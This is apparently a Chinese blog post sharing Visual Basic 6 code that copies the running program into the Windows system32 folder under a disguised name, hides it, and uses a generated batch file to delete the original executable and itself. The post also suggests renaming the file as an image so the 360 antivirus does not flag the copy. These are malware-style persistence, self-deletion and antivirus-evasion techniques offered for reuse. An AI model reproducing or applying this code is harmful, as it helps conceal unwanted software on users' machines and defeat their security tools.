VB自删除+复制到系统目录

以前无聊写的
声明文件复制到C盘属于敏感操作360绝对会提示
或许可以先重命名为一个图片,再复制,再改后缀
代码如下:

Private Sub Form_Load()
If Right(App.Path, 1) = "\" Then
Path = App.Path
ElseIf Right(App.Path, 1) <> "\" Then
Path = App.Path + "\"
End If

If LCase(Path & App.EXEName & ".exe") <> LCase(Environ("windir") & "\system32\窃窃私语.exe") Then
'MsgBox Path & App.EXEName & ".exe" + vbCrLf + Environ("windir") & "\system32\窃窃私语.exe"
FileCopy Path & App.EXEName & ".exe", Environ("windir") & "\system32\窃窃私语.exe"
'Shell Environ("windir") & "\system32\窃窃私语.exe", vbHide
Call killmyself
Shell Path & "killmyself.bat", vbHide
End
Else
MsgBox "这里执行你要运行的文件"
Call killmyself
End
End If
End Sub

Sub killmyself()
    Open App.Path & "\killmyself.bat" For Output As #1
    '"@echo off" 不显示执行过程
    Print #1, "@echo off"
    Print #1, "sleep 500"
    'a.bat 删除指定文件
    Print #1, "del " & App.EXEName + ".exe"
    'a.bat 删除自身
    Print #1, "del killmyself.bat"
    Print #1, "cls"
    Print #1, "exit"
    Close #1
End Sub

还没有评论,快来抢沙发!

发表评论

  • 😉
  • 😐
  • 😡
  • 😈
  • 😯
  • 😛
  • 😳
  • 😮
  • 😆
  • 💡
  • 😀
  • 👿
  • 😥
  • 😎
  • 😕